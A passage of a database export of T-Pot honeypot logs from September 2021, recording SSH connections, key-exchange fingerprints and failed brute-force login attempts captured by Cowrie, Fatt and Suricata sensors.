"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50644, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.357246", "@timestamp": "2021-09-20T11:06:40.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21032	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:40.825635+03	2021-09-20 14:15:03.135613+03	{"_id": "QgbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37658, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.825635", "@timestamp": "2021-09-20T11:06:40.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21033	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.14589+03	2021-09-20 14:15:03.137615+03	{"_id": "QwbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "88217dc46003", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:40.145890Z", "@timestamp": "2021-09-20T11:06:40.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21034	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:40.185889+03	2021-09-20 14:15:03.139612+03	{"_id": "RAbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [engineer/engineer] failed", "session": "1ffa175fba2f", "@version": "1", "password": "engineer", "username": "engineer", "timestamp": "2021-09-20T11:06:40.185889Z", "@timestamp": "2021-09-20T11:06:40.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21035	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.476297+03	2021-09-20 14:15:03.141614+03	{"_id": "RQbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5372a2bf8e42", "@version": "1", "duration": 2.766333818435669, "timestamp": "2021-09-20T11:06:40.476297Z", "@timestamp": "2021-09-20T11:06:40.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21036	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:40.147996+03	2021-09-20 14:15:03.142615+03	{"_id": "TwbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50644, "timestamp": "2021-09-20T11:06:40.147996", "@timestamp": "2021-09-20T11:06:40.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21037	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:40.825398+03	2021-09-20 14:15:03.144613+03	{"_id": "UAbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37658, "timestamp": "2021-09-20T11:06:40.825398", "@timestamp": "2021-09-20T11:06:40.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21038	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:40.36378+03	2021-09-20 14:15:03.145613+03	{"_id": "UQbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [manager/friend] failed", "session": "d429027559e7", "@version": "1", "password": "friend", "username": "manager", "timestamp": "2021-09-20T11:06:40.363780Z", "@timestamp": "2021-09-20T11:06:40.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21039	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.365494+03	2021-09-20 14:15:03.146614+03	{"_id": "UgbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "88217dc46003", "@version": "1", "timestamp": "2021-09-20T11:06:40.365494Z", "@timestamp": "2021-09-20T11:06:40.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21040	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.548722+03	2021-09-20 14:15:03.147613+03	{"_id": "UwbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c0f8f17e80c2", "@version": "1", "duration": 2.4515206813812256, "timestamp": "2021-09-20T11:06:40.548722Z", "@timestamp": "2021-09-20T11:06:40.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21041	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:41.509645+03	2021-09-20 14:15:03.148614+03	{"_id": "VQbiAnwBvYTbRNuE-QHS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 395168855397348, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45010, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.509645Z", "@timestamp": "2021-09-20T11:06:41.509Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21042	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:41.486593+03	2021-09-20 14:15:03.149612+03	{"_id": "VwbiAnwBvYTbRNuE-QHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1617097788503324, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41472, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.486593Z", "@timestamp": "2021-09-20T11:06:41.486Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21043	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:41.802563+03	2021-09-20 14:15:03.151614+03	{"_id": "WAbiAnwBvYTbRNuE-QHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1027222685201572, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44890, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.802563Z", "@timestamp": "2021-09-20T11:06:41.802Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21044	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.480226+03	2021-09-20 14:15:03.152614+03	{"_id": "YQbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47686 (192.168.176.2:22) [session: 2512a17a07af]", "session": "2512a17a07af", "@version": "1", "protocol": "ssh", "src_port": 47686, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.480226Z", "@timestamp": "2021-09-20T11:06:41.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21045	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.208638+03	2021-09-20 14:15:03.153613+03	{"_id": "dgbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:41472 (192.168.176.2:22) [session: 5eaa8a641966]", "session": "5eaa8a641966", "@version": "1", "protocol": "ssh", "src_port": 41472, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.208638Z", "@timestamp": "2021-09-20T11:06:41.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
